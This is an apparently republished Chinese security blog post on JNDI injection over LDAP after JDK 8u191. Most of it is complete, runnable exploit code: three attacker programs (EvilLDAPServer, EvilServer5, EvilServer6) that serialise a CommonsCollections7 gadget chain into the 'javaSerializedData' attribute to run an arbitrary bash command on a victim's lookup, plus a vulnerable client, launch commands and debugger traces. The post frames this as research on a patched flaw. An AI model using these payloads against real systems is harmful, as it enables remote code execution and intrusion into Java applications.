8u191之后的JNDI注入(LDAP)
2020-05-21 18:24:41 Author: blog.nsfocus.net(查看原文) 阅读量:508 收藏

阅读: 2

「声明: 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」

前言

本篇是[45]最后一小节的学习笔记,讲述8u191之后如何利用LDAP进行JNDI注入。简单点说,利用”javaSerializedData”属性,参[44]。

KINGX的方案是自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。我对此方案有个新贡献,探索了正经程序员视角下的一种更易理解的攻击方案,使用标准LDAP服务,无需直接操作”javaSerializedData”属性,估计之前没人这么干过。

简版LDAP Server

Simple all-in-one LDAP server (wrapped ApacheDS)

https://github.com/kwart/ldap-server

$ vi jndi.ldif

dn: o=anything,dc=evil,dc=com

objectclass: top

objectclass: organization

o: anything

这是我瞎写的,不懂LDAP,不知道该怎么弄一个最简.ldif文件,至少这个能用。

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

8u191之后的JNDI注入(LDAP)

参[45]。这个技术方案相当于有一方在ObjectInputStream.readObject(),另一方在ObjectOutputStream.writeObject(),后者是攻击者可控的,前者没有缺省过滤器。此时只受限于受害者一侧CLASSPATH中是否存在Gadget链的依赖库,对JDK没有版本要求。

参[74],后面的PoC用到了如下库:

unboundid-ldapsdk-3.1.1.jar
commons-collections-3.1.jar

0) VulnerableClient.java

/*

* javac -encoding GBK -g VulnerableClient.java

*/

import javax.naming.*;

public class VulnerableClient

{

    public static void main ( String[] argv ) throws Exception

    {

        String  name    = argv[0];

        Context ctx     = new InitialContext();

        ctx.lookup( name );

    }

}

这是受漏洞影响的JNDI客户端。

1) EvilLDAPServer.java

参[45],这就是:

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java

我按自己的编程习惯稍做修改,如果Gadget链有变,改getObject()即可。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

/*

* javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java

*/

import java.io.*;

import java.util.*;

import java.lang.reflect.*;

import java.net.*;

import javax.net.ServerSocketFactory;

import javax.net.SocketFactory;

import javax.net.ssl.SSLSocketFactory;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.*;

import org.apache.commons.collections.map.LazyMap;

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;

import com.unboundid.ldap.listener.InMemoryListenerConfig;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;

import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;

import com.unboundid.ldap.sdk.Entry;

import com.unboundid.ldap.sdk.LDAPResult;

import com.unboundid.ldap.sdk.ResultCode;

public class EvilLDAPServer

{

    /*

     * ysoserial/CommonsCollections7

     */

    @SuppressWarnings("unchecked")

    private static Object getObject ( String cmd ) throws Exception

    {

        Transformer[]   tarray      = new Transformer[]

        {

            new ConstantTransformer( Runtime.class ),

            new InvokerTransformer

            (

                "getMethod",

                new Class[]

                {

                    String.class,

                    Class[].class

                },

                new Object[]

                {

                    "getRuntime",

                    new Class[0]

                }

            ),

            new InvokerTransformer

            (

                "invoke",

                new Class[]

                {

                    Object.class,

                    Object[].class

                },

                new Object[]

                {

                    null,

                    new Object[0]

                }

            ),

            new InvokerTransformer

            (

                "exec",

                new Class[]

                {

                    String[].class

                },

                new Object[]

                {

                    new String[]

                    {

                        "/bin/bash",

                        "-c",

                        cmd

                    }

                }

            )

        };

        Transformer     tchain      = new ChainedTransformer( new Transformer[0] );

        Map             normalMap_0 = new HashMap();

        Map             normalMap_1 = new HashMap();

        Map             lazyMap_0   = LazyMap.decorate( normalMap_0, tchain );

        Map             lazyMap_1   = LazyMap.decorate( normalMap_1, tchain );

        lazyMap_0.put( "scz", "same" );

        lazyMap_1.put( "tDz", "same" );

        Hashtable       ht          = new Hashtable();

        ht.put( lazyMap_0, "value_0" );

        ht.put( lazyMap_1, "value_1" );

        lazyMap_1.remove( "scz" );

        Field           f           = ChainedTransformer.class.getDeclaredField( "iTransformers" );

        f.setAccessible( true );

        f.set( tchain, tarray );

        return( ht );

    }

    /*

     * com.sun.jndi.ldap.Obj.serializeObject

     */

    private static byte[] serializeObject ( Object obj ) throws Exception

    {

        ByteArrayOutputStream   bos = new ByteArrayOutputStream();

        ObjectOutputStream      oos = new ObjectOutputStream( bos );

        oos.writeObject( obj );

        return bos.toByteArray();

    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor

    {

        String  cmd;

        public OperationInterceptor ( String cmd )

        {

            this.cmd    = cmd;

        }

        @Override

        public void processSearchResult ( InMemoryInterceptedSearchResult result )

        {

            String  base    = result.getRequest().getBaseDN();

            Entry   e       = new Entry( base );

            try

            {

                sendResult( result, base, e );

            }

            catch ( Exception ex )

            {

                ex.printStackTrace();

            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception

        {

            e.addAttribute( "javaClassName", "foo" );

            e.addAttribute( "javaSerializedData", serializeObject( getObject( this.cmd ) ) );

            result.sendSearchEntry( e );

            result.setResult( new LDAPResult( 0, ResultCode.SUCCESS ) );

        }

    }

    private static void MiniLDAPServer ( String addr, int port, String cmd ) throws Exception

    {

        InMemoryDirectoryServerConfig   conf    = new InMemoryDirectoryServerConfig( "dc=evil,dc=com" );

        conf.setListenerConfigs

        (

            new InMemoryListenerConfig

            (

                "listen",

                InetAddress.getByName( addr ),

                Integer.valueOf( port ),

                ServerSocketFactory.getDefault(),

                SocketFactory.getDefault(),

                ( SSLSocketFactory )SSLSocketFactory.getDefault()

            )

        );

        conf.addInMemoryOperationInterceptor( new OperationInterceptor( cmd ) );

        InMemoryDirectoryServer         ds      = new InMemoryDirectoryServer( conf );

        ds.startListening();

    }

    public static void main ( String[] argv ) throws Exception

    {

        String  addr    = argv[0];

        int     port    = Integer.parseInt( argv[1] );

        String  cmd     = argv[2];

        MiniLDAPServer( addr, port, cmd );

    }

}

假设目录结构是:

.
|
+—test1
| EvilLDAPServer.class
| EvilLDAPServer$OperationInterceptor.class
| unboundid-ldapsdk-3.1.1.jar
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar

在test1目录执行:

java \
-cp “commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar:.” \
EvilLDAPServer 192.168.65.23 10388 “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10388/dc=evil,dc=com \
VulnerableClient any

2) EvilServer5.java

EvilLDAPServer自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。实际上有更容易理解的攻击方案,就用标准LDAP服务,只不过绑定恶意Object,背后的原理跟EvilLDAPServer一样。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

/*

* javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer5.java

*/

import java.io.*;

import java.util.*;

import java.lang.reflect.*;

import javax.naming.*;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.*;

import org.apache.commons.collections.map.LazyMap;

public class EvilServer5

{

    /*

     * ysoserial/CommonsCollections7

     */

    @SuppressWarnings("unchecked")

    private static Object getObject ( String cmd ) throws Exception

    {

        Transformer[]   tarray      = new Transformer[]

        {

            new ConstantTransformer( Runtime.class ),

            new InvokerTransformer

            (

                "getMethod",

                new Class[]

                {

                    String.class,

                    Class[].class

                },

                new Object[]

                {

                    "getRuntime",

                    new Class[0]

                }

            ),

            new InvokerTransformer

            (

                "invoke",

                new Class[]

                {

                    Object.class,

                    Object[].class

                },

                new Object[]

                {

                    null,

                    new Object[0]

                }

            ),

            new InvokerTransformer

            (

                "exec",

                new Class[]

                {

                    String[].class

                },

                new Object[]

                {

                    new String[]

                    {

                        "/bin/bash",

                        "-c",

                        cmd

                    }

                }

            )

        };

        Transformer     tchain      = new ChainedTransformer( new Transformer[0] );

        Map             normalMap_0 = new HashMap();

        Map             normalMap_1 = new HashMap();

        Map             lazyMap_0   = LazyMap.decorate( normalMap_0, tchain );

        Map             lazyMap_1   = LazyMap.decorate( normalMap_1, tchain );

        lazyMap_0.put( "scz", "same" );

        lazyMap_1.put( "tDz", "same" );

        Hashtable       ht          = new Hashtable();

        ht.put( lazyMap_0, "value_0" );

        ht.put( lazyMap_1, "value_1" );

        lazyMap_1.remove( "scz" );

        Field           f           = ChainedTransformer.class.getDeclaredField( "iTransformers" );

        f.setAccessible( true );

        f.set( tchain, tarray );

        return( ht );

    }

    public static void main ( String[] argv ) throws Exception

    {

        String  name    = argv[0];

        String  cmd     = argv[1];

        Object  obj     = getObject( cmd );

        Context ctx     = new InitialContext();

        ctx.rebind( name, obj );

        System.in.read();

    }

}

用LDAP Server做周知端口时,rebind()的内部实现就是将Object序列化后置于”javaSerializedData”属性中,lookup()则对”javaSerializedData”属性的值进行反序列化,就这么设计的。所以像EvilServer5.java这样编程,entry中天然会出现”javaSerializedData”属性,不需要奇技淫巧。

即使用javax.naming.directory.InitialDirContext,且ctx.rebind()时第三形参指定”javaSerializedData”属性,将来也会在com.sun.jndi.ldap.Obj.encodeObject()中用rebind()第二形参的序列化数据覆盖之。

不过,神奇的是,我碰上过这个错误提示:

More than one value has been provided for the single-valued attribute: javaSerializedData

动态调试发现有两个”javaSerializedData”属性出现,分别对应rebind()第二、三形参。正是调试该错误时发现com.sun.jndi.ldap.Obj.encodeObject(),从而找到EvilServer5的最简实现方式。可惜当时在调试分析的中间阶段,没有保留那个出错的测试用例,待我搞清楚来龙去脉后,再也无法复现同样的错误场景,遗憾。

2.0) 测试

假设目录结构是:

.
|
+—test0
| jndi.ldif
| ldap-server.jar
|
+—test1
| EvilServer5.class
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar

在test0目录执行:

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

在test1目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any

2.1) 调试ctx.rebind()

调试EvilServer5:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in com.sun.jndi.ldap.Obj.encodeObject
stop at com.sun.jndi.ldap.Obj:173

[1] com.sun.jndi.ldap.Obj.encodeObject (Obj.java:173), pc = 271
[2] com.sun.jndi.ldap.Obj.determineBindAttrs (Obj.java:597), pc = 181
[3] com.sun.jndi.ldap.LdapCtx.c_bind (LdapCtx.java:411), pc = 45
[4] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:500), pc = 39
[5] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:464), pc = 5
[6] com.sun.jndi.toolkit.ctx.ComponentContext.p_rebind (ComponentContext.java:631), pc = 62
[7] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:223), pc = 29
[8] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:214), pc = 10
[9] javax.naming.InitialContext.rebind (InitialContext.java:433), pc = 7
[10] EvilServer5.main (EvilServer5.java:92), pc = 26

2.1.1) 简化版调用关系

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.javahttp://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java

InitialContext.rebind                                   // 8u232

  LdapCtx.c_rebind

    LdapCtx.c_rebind                                    // LdapCtx:464

      LdapCtx.c_bind                                    // LdapCtx:500

        Obj.determineBindAttrs                          // LdapCtx:411

          Obj.encodeObject                              // Obj:597

                                                        // convert the supplied object into LDAP attributes

            attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],serializeObject(obj)))

                                                        // Obj:173

                                                        // 设置"javaSerializedData"属性

        attrs = addRdnAttributes(...)                   // LdapCtx:416

        answer = clnt.add(entry, reqCtls)               // LdapCtx:419

                                                        // com.sun.jndi.ldap.LdapClient.add()

如果ctx.rebind()碰上如下错误提示:

a) More than one value has been provided for the single-valued attribute: javaSerializedData
b) can only bind Referenceable, Serializable, DirContext

动态调试这个函数:

com.sun.jndi.ldap.Obj.encodeObject()

2.1.2) 相关源码

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

/*

* com.sun.jndi.ldap.Obj.encodeObject

*/

/**

* Encode an object in LDAP attributes.

* Supports binding Referenceable or Reference, Serializable,

* and DirContext.

*

* If the object supports the Referenceable interface then encode

* the reference to the object. See encodeReference() for details.

*<p>

* If the object is serializable, it is stored as follows:

* javaClassName

*   value: Object.getClass();

* javaSerializedData

*   value: serialized form of Object (in binary form).

* javaTypeName

*   value: getTypeNames(Object.getClass());

*/

private static Attributes encodeObject(char separator,

    Object obj, Attributes attrs,

    Attribute objectClass, boolean cloned)

    throws NamingException {

        boolean structural =

            (objectClass.size() == 0 ||

                (objectClass.size() == 1 && objectClass.contains("top")));

        if (structural) {

            objectClass.add(JAVA_OBJECT_CLASSES[STRUCTURAL]);

        }

// References

        if (obj instanceof Referenceable) {

            objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);

            objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]);

            if (!cloned) {

                attrs = (Attributes)attrs.clone();

            }

            attrs.put(objectClass);

            return (encodeReference(separator,

                ((Referenceable)obj).getReference(),

                attrs, obj));

        } else if (obj instanceof Reference) {

            objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);

            objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]);

            if (!cloned) {

                attrs = (Attributes)attrs.clone();

            }

            attrs.put(objectClass);

            return (encodeReference(separator, (Reference)obj, attrs, null));

// Serializable Object

        } else if (obj instanceof java.io.Serializable) {

            objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]);

            if (!(objectClass.contains(JAVA_OBJECT_CLASSES[MAR_OBJECT]) ||

                objectClass.contains(JAVA_OBJECT_CLASSES_LOWER[MAR_OBJECT]))) {

                objectClass.add(JAVA_OBJECT_CLASSES[SER_OBJECT]);

            }

            if (!cloned) {

                attrs = (Attributes)attrs.clone();

            }

            attrs.put(objectClass);

/*

* 173行,设置"javaSerializedData"属性

*/

            attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],

                serializeObject(obj)));

            if (attrs.get(JAVA_ATTRIBUTES[CLASSNAME]) == null) {

                attrs.put(JAVA_ATTRIBUTES[CLASSNAME],

                    obj.getClass().getName());

            }

            if (attrs.get(JAVA_ATTRIBUTES[TYPENAME]) == null) {

                Attribute tAttr =

                    LdapCtxFactory.createTypeNameAttr(obj.getClass());

                if (tAttr != null) {

                    attrs.put(tAttr);

                }

            }

// DirContext Object

        } else if (obj instanceof DirContext) {

            // do nothing

        } else {

/*

* 190行

*/

            throw new IllegalArgumentException(

        "can only bind Referenceable, Serializable, DirContext");

        }

        //      System.err.println(attrs);

        return attrs;

}

2.2) 调试ctx.lookup()

调试VulnerableClient:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.lang.Runtime.exec(java.lang.String[])

[1] java.lang.Runtime.exec (Runtime.java:485), pc = 0
[2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30
[7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12
[8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18
[9] java.util.AbstractMap.equals (AbstractMap.java:495), pc = 118
[10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12
[11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,241), pc = 55
[12] java.util.Hashtable.readObject (Hashtable.java:1,215), pc = 228
[13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[16] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24
[18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119
[19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183
[20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401
[21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19
[22] com.sun.jndi.ldap.Obj.deserializeObject (Obj.java:531), pc = 38
[23] com.sun.jndi.ldap.Obj.decodeObject (Obj.java:239), pc = 52
[24] com.sun.jndi.ldap.LdapCtx.c_lookup (LdapCtx.java:1,051), pc = 164
[25] com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup (ComponentContext.java:542), pc = 81
[26] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:177), pc = 26
[27] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:166), pc = 9
[28] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6
[29] VulnerableClient.main (VulnerableClient.java:12), pc = 14

2.2.1) 简化版调用关系

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

InitialContext.lookup                               // 8u232

  LdapCtx.c_lookup

    LdapResult answer = doSearchOnce()              // LdapCtx:1027

                                                    // 向LDAP Server查询

    attrs = entry.attributes                        // LdapCtx:1047

                                                    // 取entry的所有属性

    if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null)

                                                    // LdapCtx:1049

                                                    // 检查entry的"javaClassName"属性

                                                    // 本例中是"java.util.Hashtable"

    Obj.decodeObject                                // LdapCtx:1051

      attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])

                                                    // Obj:237

                                                    // 取"javaSerializedData"属性

      Obj.deserializeObject                         // Obj:239

                                                    // 对byte[]进行反序列化

        ObjectInputStream.readObject                // Obj:531

          Hashtable.readObject                      // ysoserial/CommonsCollections7

            Hashtable.reconstitutionPut

              AbstractMapDecorator.equals

                AbstractMap.equals

                  LazyMap.get                       // 此处开始LazyMap利用链

                    ChainedTransformer.transform

                      InvokerTransformer.transform

                        Runtime.exec

这种攻击方案相当于受害者调ObjectInputStream.readObject()反序列化攻击者可控数据,没有缺省过滤器。此时,只要求受害者一侧有Gadget链依赖库,没有其他限制。

3) EvilServer6.java

参[39],Alvaro Munoz在议题中给了点代码片断:

System.out.println("Poisoning LDAP user");

BasicAttribute mod1 = new BasicAttribute("javaCodebase",attackerURL));

BasicAttribute mod2 = new BasicAttribute("javaClassName","DeserPayload"));

BasicAttribute mod3 = new BasicAttribute("javaSerializedData", serializedBytes));

ModificationItem[] mods = new ModificationItem[3];

mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);

mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);

mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);

ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods);

他调用的是:

javax.naming.directory.InitialDirContext.modifyAttributes(String,ModificationItem[])

我觉得他绕了大弯路,完全没必要,EvilServer5.java就是最简形式。不过我好奇心很重,基于他这个片断写了EvilServer6.java。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

/*

* javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer6.java

*/

import java.io.*;

import java.util.*;

import java.lang.reflect.*;

import javax.naming.directory.*;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.*;

import org.apache.commons.collections.map.LazyMap;

public class EvilServer6

{

    /*

     * ysoserial/CommonsCollections7

     */

    @SuppressWarnings("unchecked")

    private static Object getObject ( String cmd ) throws Exception

    {

        Transformer[]   tarray      = new Transformer[]

        {

            new ConstantTransformer( Runtime.class ),

            new InvokerTransformer

            (

                "getMethod",

                new Class[]

                {

                    String.class,

                    Class[].class

                },

                new Object[]

                {

                    "getRuntime",

                    new Class[0]

                }

            ),

            new InvokerTransformer

            (

                "invoke",

                new Class[]

                {

                    Object.class,

                    Object[].class

                },

                new Object[]

                {

                    null,

                    new Object[0]

                }

            ),

            new InvokerTransformer

            (

                "exec",

                new Class[]

                {

                    String[].class

                },

                new Object[]

                {

                    new String[]

                    {

                        "/bin/bash",

                        "-c",

                        cmd

                    }

                }

            )

        };

        Transformer     tchain      = new ChainedTransformer( new Transformer[0] );

        Map             normalMap_0 = new HashMap();

        Map             normalMap_1 = new HashMap();

        Map             lazyMap_0   = LazyMap.decorate( normalMap_0, tchain );

        Map             lazyMap_1   = LazyMap.decorate( normalMap_1, tchain );

        lazyMap_0.put( "scz", "same" );

        lazyMap_1.put( "tDz", "same" );

        Hashtable       ht          = new Hashtable();

        ht.put( lazyMap_0, "value_0" );

        ht.put( lazyMap_1, "value_1" );

        lazyMap_1.remove( "scz" );

        Field           f           = ChainedTransformer.class.getDeclaredField( "iTransformers" );

        f.setAccessible( true );

        f.set( tchain, tarray );

        return( ht );

    }

    /*

     * com.sun.jndi.ldap.Obj.serializeObject

     */

    private static byte[] serializeObject ( Object obj ) throws Exception

    {

        ByteArrayOutputStream   bos = new ByteArrayOutputStream();

        ObjectOutputStream      oos = new ObjectOutputStream( bos );

        oos.writeObject( obj );

        return bos.toByteArray();

    }

    public static void main ( String[] argv ) throws Exception

    {

        String              name    = argv[0];

        String              cmd     = argv[1];

        Object              obj     = getObject( cmd );

        String              sth     = "";

        Attribute           attr    = new BasicAttribute( "javaSerializedData", serializeObject( obj ) );

        ModificationItem[]  mods    = new ModificationItem[1];

        mods[0] = new ModificationItem( DirContext.REPLACE_ATTRIBUTE, attr );

        DirContext          ctx     = new InitialDirContext();

        /*

         * com.sun.jndi.ldap.Obj.encodeObject(Obj.java:190)

         *

         * can only bind Referenceable, Serializable, DirContext

         */

        ctx.rebind( name, sth, null );

        ctx.modifyAttributes( name, mods );

        System.in.read();

    }

}

EvilServer6的网络通信比EvilServer5多,modifyAttributes()会产生新的网络通信。

假设目录结构是:

.
|
+—test0
| jndi.ldif
| ldap-server.jar
|
+—test1
| EvilServer6.class
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar

在test0目录执行:

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

在test1目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer6 cn=any “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any

参考资源

[39] A Journey From JNDI LDAP Manipulation To RCE – Alvaro Munoz, Oleksandr Mirosh [2016-08-02]

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

[44] LDAP Directories

https://docs.oracle.com/javase/jndi/tutorial/objects/representation/ldap.html

(提到javaSerializedData)

[45] 如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX [2019-06-03]

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

[74]

https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/

https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/unboundid-ldapsdk-3.1.1.jar


文章来源: http://blog.nsfocus.net/ldap-0521/
如有侵权请联系:admin#unsafe.sh